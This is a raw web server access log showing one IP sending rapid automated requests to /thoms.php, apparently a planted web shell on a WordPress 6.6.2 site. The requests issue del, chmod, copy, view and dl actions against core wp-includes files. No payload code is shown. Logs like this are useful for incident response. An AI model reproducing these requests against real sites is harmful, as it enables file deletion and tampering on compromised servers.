45.135.193.11 - - [11/Sep/2026:23:33:19 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22259 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-fatal-error-handler.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:19 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-theme-json-data.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-theme-json-data.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:19 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-list-util.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:19 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-theme-json-data.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:19 -0400] "GET /thoms.php?chmod=feed-rss2-comments.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=feed-rss2-comments.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:19 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?chmod=feed-rss2-comments.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:19 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fformatting.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fformatting.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:19 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fformatting.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:19 -0400] "GET /thoms.php?del=class-wp-http-ixr-client.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-http-ixr-client.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:19 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-http-requests-response.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-http-requests-response.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:19 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?del=class-wp-http-ixr-client.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:19 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22268 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-http-requests-response.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:19 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-image-editor.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-image-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:19 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22259 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-image-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:19 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-network.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-network.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:19 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22232 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-network.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:20 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-styles.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-styles.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:20 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-term.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-term.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:20 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-styles.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:20 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass.wp-dependencies.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass.wp-dependencies.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:20 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-term.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:20 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass.wp-dependencies.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:20 -0400] "GET /thoms.php?chmod=pluggable.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=pluggable.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:20 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?chmod=pluggable.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:20 -0400] "GET /thoms.php?del=post-thumbnail-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=post-thumbnail-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:20 -0400] "GET /thoms.php?chmod=robots-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=robots-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:20 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22167 "https://163.245.207.76:443/thoms.php?del=post-thumbnail-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:20 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=robots-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:20 -0400] "GET /thoms.php?chmod=user.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=user.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:20 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fassets HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fassets" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:20 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22264 "https://163.245.207.76:443/thoms.php?chmod=user.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:20 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fassets" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:20 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-rewrite.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-rewrite.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:20 -0400] "GET /thoms.php?del=taxonomy.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=taxonomy.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:20 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22218 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-rewrite.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:20 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=taxonomy.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:21 -0400] "GET /thoms.php?del=template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:21 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22226 "https://163.245.207.76:443/thoms.php?del=template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:21 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fwp-db.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fwp-db.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:21 -0400] "GET /thoms.php?chmod=class-json.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-json.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:21 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fwp-db.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:21 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-json.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-json.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:21 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22043 "https://163.245.207.76:443/thoms.php?chmod=class-json.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:21 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-json.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:21 -0400] "GET /thoms.php?chmod=class-wp-fatal-error-handler.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-fatal-error-handler.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:21 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22226 "https://163.245.207.76:443/thoms.php?chmod=class-wp-fatal-error-handler.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:21 -0400] "GET /thoms.php?del=class-wp-roles.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-roles.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:21 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?del=class-wp-roles.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:21 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-theme.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-theme.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:21 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fpost-formats.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fpost-formats.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:21 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22284 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-theme.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:21 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fpost-formats.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:21 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-walker-page-dropdown.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-walker-page-dropdown.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:21 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-walker-page-dropdown.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:21 -0400] "GET /thoms.php?del=class-wp-embed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-embed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:21 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=class-wp-embed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:22 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-list-util.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-list-util.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:22 -0400] "GET /thoms.php?dl=class-wp-theme-json.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-theme-json.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:22 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22196 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-list-util.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:22 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=feed-atom.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=feed-atom.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:22 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?dl=class-wp-theme-json.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:22 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=feed-atom.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:22 -0400] "GET /thoms.php?chmod=ms-network.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=ms-network.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:22 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?chmod=ms-network.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:22 -0400] "GET /thoms.php?del=class-wp-theme-json-resolver.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-theme-json-resolver.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:22 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fstyle-engine.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fstyle-engine.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:22 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22226 "https://163.245.207.76:443/thoms.php?del=class-wp-theme-json-resolver.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
